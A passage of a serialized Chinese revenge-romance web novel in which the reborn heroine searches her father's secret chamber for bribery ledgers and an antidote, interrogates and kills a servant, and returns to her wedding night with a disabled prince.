老礼部尚书已经是朝中三品要员,那贵人如此神秘,必然在三品之上,即便皇上再不管谢明安行贿,结党营私三品之上的官员,若有证据,他还是会在意的。 这些都是十年前和六年前的事,而且只是王管事的一面之词,但书斋里,说不定会有真凭实据。 更重要的是,母亲中的毒。 忍冬说了,母亲若不解毒,最多只剩半年寿命。 哪怕现在有忍冬在研制解药,又有舅舅给的平肺散缓解,她也不能这么坐等。 在谢明安被孙姨娘误伤中毒那日,她清晰看见,朱嬷嬷拿出了曼陀散的解毒丹药。 谢窈的眼神越发寒冽,确定书斋内无人后,她直接翻窗进入。 此刻,谢明安恐怕对祠堂的大火心惊胆战,满脑子都是今晚在伯府吃席的庆公公,绝想不到放火的人是自己,更想不到,她已经来到这里。 谢窈进了里面,内心一动,索性点起一盏灯,环视四周。 书架占了大半面墙,侧边挂着些山水字画,桌椅摆放得一丝不苟,博古架后面是里屋卧房,看起来与寻常书斋没有什么两样。 她仔细检查了书架上的书,桌案上下,都没有发现异常。 再依次敲了敲墙壁之后,谢窈眸色沉了沉,目光停在那面顶天立地的书架上。 书架一角,放着几个装饰的青瓷花瓶。 她举起灯盏,走近细看,果然发现其中一个花瓶的底座,有细微的磨损痕迹,显然是被人转动过。 谢窈内心一动,单手握住花瓶,试着转了转。 “咔——” 一声轻响,那面书架竟然缓缓向侧边移开,露出后面黑漆漆的入口,隐约可见下方的石阶。 谢窈提步向下走了进去,石阶两侧墙壁有烛台,但她并没有点亮,而是一手提灯,一手握着匕首,缓步行走。 这下面,是一间密室。 密室不大,却堆得满满当当。 一侧是几十个沉木箱,摞得老高。 她打开一看,里面全是金银珠宝,硕大的鸽子血宝石,珍珠玛瑙首饰,下面箱子是码得整整齐齐的金锭银锭,至少三千两黄金,三千两白银,在烛火摇曳的暗室里生光。 这等财富,别说一个礼部侍郎,文昌伯,就是外放的封疆大吏,也得攒多年俸禄。 更让她心头一紧的是,里面一个紫檀木锦盒里,放着支凤纹金簪,很显然,这些金银珠宝,很大一部分是许家当年给母亲的陪嫁。 谢窈将灯盏往旁边挪了挪,照亮靠墙的桌案。 桌案上,摊着摆着几本账册。 她深吸一口气,压下心中翻涌的恨意,拿起最上面一本,看起来墨迹尚新的账册,翻开一看,里面密密麻麻记着收支和眼前财物,数额惊人。 她还在其中,看见了母亲提过的澄园! 果然,这才是伯府真正的账册。 谢明安这些年哄骗母亲,陆续交出大部分陪嫁,却还对外清正廉洁,连伯府的账目都做了亏空,给母亲的中馈之权,也只是个幌子。 她正翻看着,余光忽然瞥见密室最里侧的墙。 那里摆放了一个小小的佛龛,佛龛里供着块黑色牌位。 谢窈走上前,见牌位上刻着的,竟是谢老伯爷谢仲成的名字! 她觉得可笑,谢老伯爷的牌位此刻在祠堂大火里已经化为灰烬,莫非,谢明安这样杀妻灭女之人,竟是个孝子? 谢窈眼神一凝,目光落在佛龛旁没有点燃的香上,香火有小拇指粗细,通体红色。 这,不是寻常祭奠的香! 谢窈想起前世,陆慎言害死蒲苇之后说,蒲苇曾在被他折磨的时候,诅咒他不得好死。 为此,他特意给蒲苇立了个牌位,点的就是这种香。 当时,他洋洋得意地炫耀:“这叫镇魂香,烧着这种香,她死后魂魄便永世不得超生,我倒要看看,到底是谁不得好死。” 谢明安,居然给他爹点镇魂香? 第130章 查行贿账册,制服朱嬷嬷 看着香盒内的香火,谢窈不禁喃喃,或许在前世自己死后,陆慎言也会为她,点上三根镇魂香呢。 看来这东西没什么用处,否则,她就不会重活一世了。 谢窈回想,谢老伯爷是在她五岁时过世的,他死的突然,说是突发急病。 看来,他的死,和谢明安有关。 说不定,就是谢明安弑父,才会为谢老伯爷点镇魂香。 杀妻灭女,弑父镇魂,谢窈现在,对这个所谓的父亲,做出什么事都不会感到意外了。 她压下情绪,继续查看账目,翻到其中一本账册的最后一页,她瞳孔微缩。 “金眼白玉佛,找到了!” 能让王管事念念不忘的,必然是尊极其贵重的玉佛。 她往后看,发现这个物件旁边,写着一个地址: 南淮大街丙字号宅院。 王管事说过,他曾奉谢明安的命,将玉佛送到个寻常宅院里,并不知文昌伯行贿的贵人是谁。 而那处宅院,谢窈此前让七两查过,只是个普通小宅子,里面住着卖货郎一家三口,近些年常年走商,宅子已经荒废。 那个小宅子,只是谢明安和贵人交易的地点。 而她清楚,南淮大街是距离皇宫比较近的一条街,眼前这个写在账册上的地址,才是所谓贵人的真正身份。 谢窈迅速翻其他账册,发现许多物件金银后面都有着备注,要么是“张瘸子李王八”之类的代号,要么是“九月初七二月十八”这种模棱两可,没有年号的日期。 结合金眼白玉佛后方的备注,谢窈稍作思忖,便明白了。 这是谢明安行贿的记录,他特意用应该只有他自己才懂的备注,显然是为了留受贿人的把柄,既能自保,又能威胁别人。 这些账册不能拿走,一旦失踪,谢明安会立即察觉到异常。 何况,谁都看不懂的账册,也算不上证据。 好在她记性不错,在迅速翻看的同时,已将一些关键字眼代号记在心里。 但这样的记忆是短暂的,账目太多,她只能记住一时,得在离开后迅速记在纸上,否则会很快忘记。 检查完账册,谢窈开始仔细翻找曼陀散的解药。 找寻许久,密室里并没有任何药物。 “不在这儿?” 谢窈蹙起眉,想起朱嬷嬷曾掏出针灸包和丹药。 密室里没有,那母亲的解药,就只能在朱嬷嬷那了。 刚好,她对这个一直跟随在谢明安身边的低调嬷嬷,好奇已久。 夜,还很长,她有足够的时间去找想找的人。 谢窈定下神,仔细清理自己留下的痕迹。 打开的木箱,踩过的地砖,碰过的账册,一切都恢复原样,连地上的灰尘都与之前没有半分差别。 这是她在军中做斥候时练出的本事,此刻正好用上。 确定密室恢复原状后,谢窈提灯退出密室。 转身,她进了书斋内侧的里屋。 里屋陈设简单,一张卧榻便占了大半,床幔半掩,谢窈撩起,瞥见床头放着一个黛色荷包。 这荷包针脚精致,上面绣着个“芝”字。 已经知道谢明安和芝黛奸情的她,不用想,便明白这是芝黛姑姑送的。 她打开荷包,里面还塞着一张字条,上面写着:有太后在,不必担心我祖父的事。 芝黛的祖父,是早已致仕,去世多年的老礼部尚书。 此前谢明安提前得知给宣读赐婚圣旨的,是庆公公,靖北王也会前来,就让谢窈猜到,谢明安必然和宫中之人有所勾结。 后来皇上派御鹰司夜谈伯府王管事,谢明安将王管事灭了口,她便知道,她的猜测是对的。 她那日将王管事的供状,扔到谢老夫人的卧房,就是想引出给谢明安传递宫中消息的人。 果然,这个人就是芝黛。 也不知谢明安怎么做到的,年轻时的母亲,此前甘愿为他执掌中馈的孙姨娘,还有芝黛这样太后身边的掌事宫女,竟都看上了他。 谢窈稍一用力,将手中荷包撕碎。 这时,外间忽然传来脚步声! 门被推开,谢窈无处可藏,索性从容地转身。 来的人,是朱嬷嬷! 如银粉的月色,洒在谢窈身上,将她绝色的容颜镀上光辉。 朱嬷嬷瞪大双眼,震惊地盯着她,一时间没有反应过来。 谢窈,今晚可是她的大婚之夜,她怎会出现在伯爷的书斋? 朱嬷嬷奉命去查祠堂起火原因,发现祠堂内残留的火油,似乎是军中用的,她本想直接禀报伯爷,但转念一想,有人故意纵火,说不定是御鹰司的人来了,她连忙跑到伯爷书斋查看。 这书斋里,藏着伯爷的秘密,即便有宫中内应在,也不能让人察觉。 御鹰司的探子,在没有接到司使或皇上命令之前,是不会杀人的,她倒是不怕,只想尽量周旋,交代些陈年旧事,把事情蒙骗过去。 结果,来的不是御鹰司,而是谢窈! “二,二小姐?” 朱嬷嬷惊得脸色惨白,终于回过神来,后退半步,就要喊人。 谢窈哪会给她机会? 她来了,倒是省得自己还要去找! 谢窈身形一晃,猎豹般跃至朱嬷嬷身前,身后发带曳起弧度,绣着云纹的玄色斗篷,在昏暗的房间划出一道流光。 朱嬷嬷是谢明安的心腹,还略懂医术,所以,她上来便用尽全力,掌风劈向对方后脑。 朱嬷嬷显然有些身手,抬手便要格挡。 这样的抵挡,在谢窈眼里缓慢绵软,只是一个呼吸间,她便手腕一翻,反剪了朱嬷嬷手腕。 “咔嚓”一声,朱嬷嬷两条胳膊就如当日的王管事一样,被卸去关节。 她刚要惨叫,谢窈已经将帕子塞进她嘴里。 随即,谢窈随手抽出书架上的捆书绳,将她结实地捆在床柱上。 “唔!唔!” 朱嬷嬷瞪着眼睛,双腿不住地挣扎,满眼都是难以置信。 谢窈:“哦,忘了你还有腿。” 她手掌用力一掰,朱嬷嬷的两条腿也被卸了关节。 眼看眼前的女人疼得满头虚汗,脸色惨白如纸,谢窈才蹲下身,扯掉她嘴里的帕子,拍了拍手,声音在她耳边幽幽响起: “大胆朱嬷嬷,竟敢深夜闯入我父亲的书斋。” 朱嬷嬷喘着粗气,已经没力气喊叫了。 她知道,祠堂的火一时半会儿扑不灭,如今外面根本没人。 忽然,朱嬷嬷眼瞳一颤。 难不成在祠堂放火的,不是御鹰司的探子,而是眼前的谢窈? 一股油然而生的寒意,窜至她四肢百骸。 “你……你不是应该在靖北王府洞房,怎会出现在这里?!” 谢窈微微一笑,并未回答朱嬷嬷的问题,冰凉的匕首在她脸上划过,刺在她颤动的喉管处。 “曼陀散的解药,朱嬷嬷放在哪儿了?” 第131章 你其实,不是伯爷亲女儿 朱嬷嬷身体微不可察地瑟缩一下,随即害怕地说:“什,什么解药?曼陀散又是什么东西,老奴只是府里一个寻常嬷嬷,不知道您在说什么。” 谢窈敏锐地察觉到她一刹那的颤抖。 看来,解药就在她手上。 “我赶时辰回去洞房,朱嬷嬷还是老实交代为好。” 谢窈弯起眸,笑意浅浅,匕首尖在她喉咙处点了点。 “冬至宴家宴,你在众目睽睽下,给父亲解了毒,你会没解药?” 朱嬷嬷缩着脖子,强行辩解:“那只是府上常备的解毒丹药……老奴也是误打误撞,误打误撞。” 她目光扫过谢窈身后,忽然,看见地上被撕碎的芝黛荷包,又瞥见被谢窈翻乱的书斋,面色悄然变化。 不知这丫头找没找到密室,没找到还好,若是找到…… 可就算她没发现密室,她问自己要曼陀散的解药,也代表她已经知道了许氏被下毒! 可伯爷对此还一无所知,事后,肯定会以为是御鹰司干的,这丫头真是太可怕了! “二小姐,您又没中毒,要那些做什么……”朱嬷嬷强装镇定,试探地问。 可恨她双臂被卸去关节,手也被绑在身前,根本没法做小动作。 “你说,我要做什么。”谢窈站起身,居高临下地俯视她。 朱嬷嬷眼神一凛,索性不再装糊涂:“看来二小姐知道伯爷的事了,可二小姐您别忘了,您是伯府嫡女,伯爷要是倒了,您能落下什么好。” “伯爷嫡女?” 谢窈:“朱嬷嬷怕是老糊涂了,我如今是靖北王妃,谢家如何,与我何干!” 朱嬷嬷哑口无言,看着她眼中毫不掩饰的恨意与冰冷,心中暗恨,当初就该派人去北境杀了她,留到现在,反倒成了祸害。 她放缓语气:“二小姐,伯爷再不好,也是您的父亲,即便您已经出嫁,伯府也是您的母族,这一点无论如何也改变不了。” “原来他是我的父亲,不知道的,以为他是我的仇人。” 谢窈嗤笑一声,声音中是压抑的戾气。 “我在边境从军九载,他可曾对我,有过一丝记挂。” 她回想起在北境的时候,一开始,她在健妇营,她是健妇营最小的女孩,其他姐姐都宠着她。 那时,她并未觉得伤心,只是一味地训练。 后来跟在大将军身边做亲兵,做斥候,学武打仗,排兵布阵,日子过得很充实。 她也不觉得伤心,只会默默地学习。 直到有一年除夕,大将军,给了她一封家书。 那封家书写的很好,但她还是看出了问题。 “大将军莫要骗我,我的父亲,从不会叫我阿窈,他只会叫我死丫头。”谢窈拿着信,找到了大将军,脸上还挂着平静的笑。 大将军露出无奈的神情,说:“是我不好,我看见过年了,其他孩子都有家书,你没有,只能努力练剑掩饰伤心,才出此下策……阿窈啊,以后不开心,也可以不用笑的。” 谢窈这才知道,原来这就叫伤心,原来自己一直都在伤心。 再后来,她更难过的是,谢宴告诉她母亲死讯时质问,母亲在那九年的前几年,写了许多家书,还曾派人给自己送体己,为何她一封回信都没有。 是谢明安,拦住了母亲对外的联系,让她误会母亲那么多年! 谢窈的眼神似淬了冰:“母亲被他毒害,磋磨得病入膏肓,他倒是搂着孙姨娘,又纳了两三房小妾,夜夜笙歌。” 朱嬷嬷还要嘴硬,这时,谢窈因为恨意,手指一颤,原本在她脖子处的匕首移开几寸,掠过她的脸颊。 不过轻轻一划,朱嬷嬷的脸皮破处几滴血珠。 她猛地一震,眼中竟然露出比刚才匕首落在她喉咙时,更慌的神情。 谢窈立即捕捉到她眼中的慌乱,匕首,继续在她脸上比划,眼神明悟。 “朱嬷嬷竟然在意这个。” 一个女子,刀子抵到喉咙了,就快死了,还在为别人辩白,却怕被划破脸,只有一个可能。 “也是,毕竟朱嬷嬷要靠这张脸,与我的父亲温存呢。” 朱嬷嬷的脸色骤然惨白,嘴唇哆嗦着:“二小姐,你,你胡说什么!老奴与伯爷,可是清清白白!” “哦,我在胡说吗。” 谢窈绕着她,走了半圈。 “我若没记错的话,你是谢老伯爷房里的丫鬟,比我父亲大七岁,只是七岁而已,这书斋和书斋里的秘密,还有给我母亲下毒的事,你都知道得一清二楚。” “原来是苟且到了一处,才让他如此信任你。” 谢窈有些反胃:“有时候,我真不知道我这父亲,与秦楼楚馆里做皮肉生意的兔子,有什么区别。” 以身饲女子,吃着软饭,换这些女子,为他前仆后继。 她原本只是想到芝黛,随口一说,但看朱嬷嬷如遭雷击的样子,就知道自己还猜对了。 朱嬷嬷像被迎面扇了一巴掌,半晌,才红着眼嘶吼: “你这个死丫头,你怎能这么说伯爷,我做的一切都是为了伯爷,他从前受了老伯爷多少委屈,寒冬腊月跪在雪地里读书,烂了两条腿,只有我心疼他,你懂什么!” “看来你们二人孽情深种,始于我的祖父。” 谢窈忽然问道,目光锐利如芒:“他死得那么急,是不是也和你心疼他,他心疼你有关。” 朱嬷嬷浑身一僵,眼神躲闪:“老伯爷是因病去世的,与伯爷没有半分关系,要怪,就怪他自己。” “既然是因病去世,祖父与父亲父慈子孝,何必要在密室里,点上镇魂香呢。”谢窈笑了。 朱嬷嬷彻底慌了,谢窈果然知道了密室,她不但是想给她母亲讨个说法和解药,还想毁了伯爷,想害死谢家全族! “解药,老奴确实有,此刻就在老奴身上。” 朱嬷嬷眼神狠了狠,忽然承认了解药,然后,她也笑起来。 “二小姐,你以为许氏是什么好人?你是被她当成一把刀,骗了那么久,还要为她寻解药,真是蠢啊!哈哈哈,老奴都觉得你可怜!” 她无所畏惧地与谢窈对视,脸上刻意露出悲戚怜悯的神色。 “事到如今,老奴也不瞒二小姐了,你其实,根本不是伯爷的亲女儿!” “哦?”谢窈握着匕首的手攥紧几分,道,“还有这种……事?” 她用尽力气,才把“好”字咽了回去。 第132章 母亲与人私通?岂不更好 朱嬷嬷的话,让谢窈内心一惊。 回过神后,就是欣喜。 见谢窈神色有所松动,朱嬷嬷眼珠转动起来。 “当年,许氏还未出阁就不守妇道,与人私通,有孕之后,偷偷跑到成佛寺生下了你,哄骗伯爷才嫁到谢家,给伯爷戴了十八年的绿帽子!” “若她清清白白,只和伯爷有染,何至于怀孕后不告诉许家和谢家,还不是因为月份不对。” 谢窈摩挲下巴,她倒希望朱嬷嬷说的是真的,但怯懦了半生的母亲,怎么可能给谢明安戴绿帽子。 朱嬷嬷回想起当年的情景,越说越来气,仿佛在替谢明安打抱不平,振振有词。 “伯爷为了家宅安宁,忍了十八年,已是仁至义尽!” “老伯爷为何不喜你们母女,因为你明明该是早产,身体羸弱,却自幼顽劣,更是证明了许氏婚前不忠,你不是伯爷的女儿。” 谢窈面容平静,眼神仍旧冰冷。 母亲的确说过,她因为未婚先孕离家出走到成佛寺,自己又是早产,幸好菩萨保佑,才生得如此健康。 “嬷嬷说的,我真的想信。” 谢窈勾了勾唇角,红唇的笑意,竟然愈发加深。 “我还是母亲的女儿,但不是谢明安的女儿了,岂不是更好。” 这笑容,在月色映衬下,让朱嬷嬷内心越发不安。 她不得不掏出杀手锏:“谢窈,你费尽心思,为许氏寻求解药,却不知,她才是伯府最心狠手辣的女人,许氏的陪嫁嬷嬷,就是因为当初将事情告诉了伯爷,才被她亲手灭口!老奴记得,那嬷嬷姓苏。” 提到苏嬷嬷,谢窈面色骤变,忽然低下头。 长睫遮住眼底的情绪,她的肩膀微微发颤,像是终于信了对方的话。 朱嬷嬷见状,终于松了口气,又道: “许氏不过是装病弱骗你罢了,实则心机深沉,你可知,伯爷每年都想给你写家书,为你祈福,盼你在边境平安顺遂,许氏却屡屡阻拦,他毕竟是一家之主,有些话,注定无法开口诉说。” 谢窈仍旧不语。 心机深沉,许素素吗? 朱嬷嬷语气软下来:“二小姐,听老奴一句劝,将密室和今晚的事都烂在肚子里,伯爷这些年,把你当亲生女儿一样。您不说,老奴也会保守秘密,您还是伯府的嫡二小姐。” 她心道,搬出许氏那陪嫁苏嬷嬷,总算是得救了。 就算谢窈是个铁石心肠之人,乍一知道自己的身世,也得六神无主,许氏做出这种丑事,捅出去了,她只能依靠伯爷这个父亲。 正说着,却见谢窈缓缓抬起头。 “说完了?” 那双凌厉的凤眸,是比刚才更冷的寒意,像结了冰的静谧湖面,让朱嬷嬷心头一跳。 “二小姐可是要放了老奴?”她脸上挤出一抹笑容。 谢窈道:“你说,苏嬷嬷是母亲杀的。” 朱嬷嬷正要点头,还没反应过来,就见谢窈手腕一翻,匕首狠狠刺进她的心口! “噗——” 鲜血瞬间染红了朱嬷嬷的衣襟,她目眦欲裂,满眼难以置信。 “我还是送你下去问问她,到底是死在谁手上吧。” 谢窈毫不犹豫抽出匕首,血珠溅在她脸上,她连眼都没眨。 当初的苏嬷嬷,是母亲的陪嫁嬷嬷,还是在母亲生产时,唯一陪在她身边的人。 她的确是枉死了,但,绝不可能死在杀一只鸡都不敢的母亲手上。 朱嬷嬷的话,九假一真,在初听到的瞬间,的确让谢窈心里产生一丝惊讶。 然而听到谢明安给她每年写家书,这种话,未免太把人当成傻子。 如果朱嬷嬷没撒谎,那她可以去死了。 以她对谢明安的忠诚程度,短时间内,自己无法撬开她的口。 至于她说的那些,唯一解释就是——自己不但不是谢明安的亲生女儿,也不是母亲的亲生女儿。 即便是母亲,也并不清楚当时到底如何。 否则,她在前世临死时,一定会让谢宴转告自己,不让自己过于伤心。 或许事情真相,只有死去的苏嬷嬷才知道。 窝囊也好,懦弱也好,不守妇道也好,哪怕并非她亲生母亲也好,许素素,是她谢窈认定的母亲,是世上对她最好的母亲,这一点,永远不会改变。 如果朱嬷嬷说谎了,那她,也可以去死了。 给母亲下毒,助纣为虐的人,她不会手下留情。 谢窈盯着地上的中年女子,淡淡地问: “朱嬷嬷,你连死都不怕,还要忠心为谢明安说话,可是,你还记得自己的名字吗。” “谢窈……你……我……”朱嬷嬷支支吾吾,口中涌血。 她眼底似乎有千言万语,她想诉说对谢明安的感情,或许还想给她守护了半辈子的人留下什么,可最终,她连自己全名都没叫出来。 头一歪,彻底没了气息。 谢窈看了一会儿她渐渐冰冷的尸体,蹲下身,从她身上搜找起来。 朱嬷嬷怀里,有个青色瓷瓶。 打开瓷瓶,一股清苦的药味散开。 里面有十来粒丹药,正是曼陀散的解药。 谢窈将瓷瓶收好,又在朱嬷嬷腰侧找到一把短刃,这是她还没来得及拔出来的兵器。 谢窈将短刃塞到她手里,让她握紧,做出她是见到有人来书斋,拔刃反击,却被反杀的样子。 书斋被翻乱了,芝黛的荷包也被她损毁,密室没有留下任何痕迹,朱嬷嬷更是死在这里。 她相信,谢明安会把一切按在御鹰司头上,以为御鹰司翻查了他的书斋,但没有找到密室。 而损毁荷包,是皇上对他的警告。 他不但不会声张,还会主动将一切,当做一场意外。 谢窈看了眼一片狼藉的书斋,转身推开窗户。 外面的救火声还没停,火光与月色映着她沾血的侧脸,她的眼神没有半分波澜。 谢窈翻出伯府,一路疾行至靖北王妃。 此刻,王府内还有宾客未散,萧家三爷的小儿子萧兰舟,正在跟苏怀恩喝酒。 不知是不是知道了谢家祠堂着火的事,此刻前厅冷清了一些,王府后院也没什么家丁护院。 谢窈来到婚房外,犹豫了片刻,选择原路返回。 刚推开窗户,婚房的门,被人从内打开。 “王妃可算回来了,”白蔹说道,恭敬地让开身子,“王爷等的花都谢了。” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第133章 大婚夜,都给本王滚远远的 谢窈视线越过白蔹,看见他身后的桌案上,除了合卺酒和花盘里莲子百合等点心瓜果,确实多了一束花。 是靖北王回来时,从伯府后花园折的梅花。 忍冬在旁边,朝她眨了眨眼,无声地说,奴婢真的尽力了。 王爷坐在轮椅上,抬头看她,淡淡地解释:“没谢,是本王见这花开得正盛,便想折来给王妃看。” 谢窈脚步顿了顿,与他对视。 箫熠之换去那身略厚重的喜袍,但同样一身轻便红袍,衬得肤色愈白。 他在满室温暖亮堂的灯火里,等她归来。 谢窈心头莫名一跳,这人乖乖等待她的样子,倒是比平时冷峻的模样,更让人移不开眼。 箫熠之本就感知敏锐,此刻见她望着自己目光灼灼,蓦地想起婚前那日,喝醉酒后的谢窈,拉着自己,摸自己的脸,说自己好看,还叫自己…… 咳咳,回忆到这里就可以了。 他只需要知道,自家王妃,喜欢他的脸。 白蔹忍不住插了句:“方才外面传来消息,文昌伯府的火还没灭,这都一个时辰了,谢二小姐这把火,烧得当真盛大。” 他自己也有点小骄傲,毕竟王爷让他添一把火,他也是为伯府大火流过汗,出过力的。 至于之前心里那些大逆不道啦,死后祖宗怪罪啦,谢二小姐都不怕,他怕什么,反正又不是他祖宗。 忍冬也咂舌,她在谢窈走后不久得知伯府着火,就猜到是小姐做的。 明天,伯府起火的事,全京城都得传遍。 谢窈目光扫过那束红梅,只是向箫熠之微微颔首,算是致意,便在桌案边坐下。 她语气清冷:“忍冬,取笔墨来。” 忍冬立即去找,箫熠之则看出她要做什么,示意白蔹:“去拿张纸给王妃。” 白蔹挠了挠头:“谢二小姐要纸笔干啥?” “记些东西,免得忘了。”谢窈回答。 白蔹又想问记什么,被王爷翻了个白眼赶走。 片刻后,谢窈落座,挥洒笔墨。 谢明安密室里那六七本账册里的关键信息,都被她记在脑中,此刻洋洋洒洒落笔。 箫熠之没靠太近,停在距离书案有几步远的地方,目光落在她紧绷的肩背上。 柔和的烛火映着她侧脸,她眼中没有疲惫,只有认真的专注。 与点燃祠堂时不同,此刻的谢窈少了几分锋芒毕露,多了内敛的疏离感。 谢窈其实也感受到了箫熠之的目光,不算炙热,更不会觉得冒犯。 写完最后几个字,谢窈轻舒一口气,指尖有些许发麻。 刚回头,箫熠之抬起手,将一方素白的手帕放在桌案上,手帕边角绣着暗银色云纹。 “擦擦。” 谢窈拿起手帕,抬手一摸自己脸,手指沾到点干涸的红,是方才杀朱嬷嬷时溅上的血。 “多谢王爷。” 她随意擦了擦,又将手帕还回去,总感觉箫熠之正凝视着自己,可等她目光转过去时,他又飞速移开,像自己刚才看见的只是错觉。 待墨迹干后,谢窈让忍冬将这张纸收好,从怀中掏出青瓷瓶:“回头你看看,这个有没有问题。” 忍冬隔着瓶塞轻嗅,双目霎时间放光。 这是曼陀散的解药,她近日研制的,已经与这个解药有七八成相似。 箫熠之始终没有询问她写了什么。 忍冬:“夜深了,奴婢先下去。” 说着,她见小白侍卫还直愣愣站在那,忍不住拽对方袖子。 白蔹猛地转身,看向箫熠之:“王爷今晚也饮了酒,是否需要属下扶您?” 忍冬:“你是觉得我家小姐扶不动王爷?人家——” 她压低声音:“人家洞房花烛,小白侍卫你又蹦又跳做什么。” 箫熠之挥手,两人这才悄无声息地退出去,顺手带上门。 房间内只剩下两人,红烛跳动,在地上投下交错的光影。 谢窈想问箫熠之需要自己怎么扶,窗外,忽然传来一阵压低的脚步声。 她下意识摸上腰间匕首,眼神警惕。 箫熠之:“白蔹!” 白蔹立即推门而入,重新出现在他们面前,站得笔直,像随时能拿刀砍人:“王爷,属下在!” “滚。” 箫熠之眸色深沉,吐出一个字。 “带着外面其他人,也滚。” 白蔹挠了挠头:“是老夫人和周夫人小周夫人她们派的侍女,说要新婚之夜,伺候王爷王妃什么的。” 箫熠之:“本王不需要人伺候,王妃也——” 他停了一下,补充:“除了王妃带来的丫鬟,剩下的,都给本王滚得远远的。” “是。” 白蔹彻底离开,窗外也很快没了动静。 房间重新安静下来,谢窈挑了挑眉,婚房外听墙角,还是萧老夫人等人派来,等着伺候的侍女,箫熠之竟然一个都不留,反而留下了自己身边的忍冬。 箫熠之见谢窈的神情,意识到自己刚才的话过于冷酷,又道:“不必紧张,老夫人是本王的祖母,大约是好奇,才来凑热闹。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!他顿了顿,指腹在轮椅扶手上轻扣了两下,又跟谢窈谈起其他人。 “至于那几个,王府的中馈,一直是老夫人执掌,底下杂事交给三叔母周夫人与她儿媳小周夫人打理,这二人既是婆媳,又是同族的姑侄,你的嫁妆现在在库房,与她们和老夫人都没关系,在靖北王府,没人能委屈本王的王妃。” 谢窈心头微澜,没想到箫熠之会语气平缓的和自己说这些王府的事。 直到此刻,她才有了今夜是二人大婚的实感。 她问道:“王爷不好奇,我刚才写了什么?” 箫熠之语气如常:“有些事你若想说,自然会开口,不想说的,本王问也无用。” 他又在心里补充了句:他如果追问不休,反倒损害他们本就不多的夫妻情分。 谢窈内心微动,想起自己临走时留的箱子。 她正要提,就见铺满大红绸缎的婚床侧几,除了那个红木箱,还多了个大小差不多的新箱子。 箫熠之顺着她的目光看去:“那箱子里的东西,是岳母大人给你准备的嫁妆吧。” 谢窈道:“是母亲给我的陪嫁里最贵重的一些,今日大婚失礼,还望王爷收下。” 提起母亲,谢窈不禁想到今晚朱嬷嬷的话,眼神沉下来。 箫熠之的视线在她脸上停留,看出了什么。 他这个王妃,最在乎的人,怕就是岳母大人,否则也不会喝醉后喊自己…… 他怎么又想起这茬了。 箫熠之道:“本王说过,没有规矩不让王妃新婚之夜,回自家祠堂拜拜先祖,何况,既然是为了岳母大人,更无需赔罪。” 虽然谢窈是在拜先祖的同时,不小心把祠堂点了,但这也不怪她,都怪谢家先祖不保佑他们自己家的祠堂。 “你怎知我是为了……” “这世上,只要是为了母亲,做任何事都不需理由。” 箫熠之垂下眸,桃花眸暗了暗:“若是可以,本王也想不惜此身,换母妃回来。” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第134章 放手去做,不必顾忌任何人 箫熠之的母亲靖宁夫人秦氏,谢窈所知不多。 只听说秦氏出身将门秦家,绣功极好,与老靖北侯是年少夫妻,伉俪情深。 但在老靖北侯战死沙场后,她就深居简出,而近两三年,更是彻底不再露面。 两年前京中有消息说靖宁夫人病逝,王府没有应答,似乎是默认她已经去世。 今日大婚,秦家还派了靖宁夫人的弟弟一家前来。 箫熠之这个“回”又是何意,莫非靖宁夫人还活着? “我想做的,或许会牵扯甚广,王爷不怕我牵连到你和王府吗。”谢窈试探着开口,斟酌语句。 箫熠之道:“王妃想做的,与本王做的一样,本王的母妃在两年前被奸人所害,不知生死,而即便是百不存一的机会,本王也要找到母亲。” 两年前,那是岐江一战,他的腿也是当时废的。 谢窈愣了愣,望着他的眸子,那双深邃的眼里没有算计试探,而是和自己一样的坦然。 箫熠之看出了她在乎的人是母亲,他故意提起他的母亲,自揭伤疤,从而告诉她,他理解她要做的。 “至于牵连,本王早就举世皆敌,谈何被你牵连。” 箫熠之眼底透着不加掩饰的桀骜张狂,傲然道。 “谢窈,从此以后,你想做什么,放手去做便是,不必顾忌任何人。” 谢窈知道,他说的是实话。 自从靖北王受伤后,无数人,等着他从高位跌落。 而他却比往常手段更狠,不能领兵,交了兵权,对十万靖北军铁骑的影响力没削弱分毫,交了御鹰司,但御鹰司就是他一手创建的,谁敢不敬他? 这才让他即便双腿残疾,仍人人畏惧,皇上敬重,同样,也成了太多人的眼中钉,肉中刺。 谢窈望着他,悬了许久的心,安稳落地。 重活一世,她习惯了单打独斗,凡事自己筹谋策划,但没想到有一天,听到有人对她说:你想做什么,放手去做便是,不必顾忌任何人。 箫熠之没再提关于他们两个母亲的事,感觉再提的话,两人都不会多高兴。 “你的嫁妆,你自己收好就是。” 他让谢窈收好红木箱,又自行推动轮椅到床边,抬手,掀开乌木描金的箱子。 “还有这里面的,也该一并收下。” 谢窈一看,箱子里倒没什么珠光宝气,只是两本账册,还有一叠捆着的房契地契。 箫熠之和盘托出:“这些田地铺子和马场,与王府无关,都是本王名下私产。” “这两本则是内院的账目,一本是本王住……本王偶尔……本王之前住的流霞院,另一本是给王妃准备的扶光院,以后都交给王妃你了。” 他一句话改口三次,但面色仍旧很淡定,又道:“至于整个王府的公账和中馈,由明日祖母交给王妃。” 谢窈拿起那捆房契地契,她本来没太在意,最近入账的嫁妆聘礼多得她有些麻木,正要拿起,就见最上面一张,写着一个熟悉的名字! “云鹤楼?” 那是整个京城最大的酒楼,因皇上做皇子时去吃过数次包子,从而扬名天下。 难怪白术侍卫会出现在酒楼,难怪她将陆慎言揍得满地找牙那日,箫熠之也突然出现! 他竟然是云鹤楼的幕后东家! 箫熠之咳了咳,语气寻常:“云鹤楼原本是王府租地开的,本王当年领皇上来过几次,后来皇上登基,本王索性把地契和铺子都收了。” 谢窈:“想不到王爷还有这样的经商头脑,只是,这些未免太——” 王爷唇角上扬,打断她的话:“你我夫妻一体,本王的东西,本就是你的。” 这句话,她曾调侃地跟他说过,今日竟被他还了回来。 她没再推脱,王爷又道:“本王还有件礼物,想送给王妃。” 说着,他抬起手,解开了自己衣襟扣子。 箫熠之的动作不快,在只有两人的房间里,即便是布料摩擦的声音,也格外清晰。 谢窈一愣,心跳快了半拍,呆住了。 一整晚都紧绷的精神,此刻盯着面前俊美过分的男子,莫名想起别的,脸颊泛起热度。 他是要…… 下一刻,他从怀中拿出一枚小巧的钥匙,没看她,而是低头打开轮椅侧边的暗格。 他从暗格里,取出个长条形的锦盒放到桌上,语气仍旧淡然:“给。” 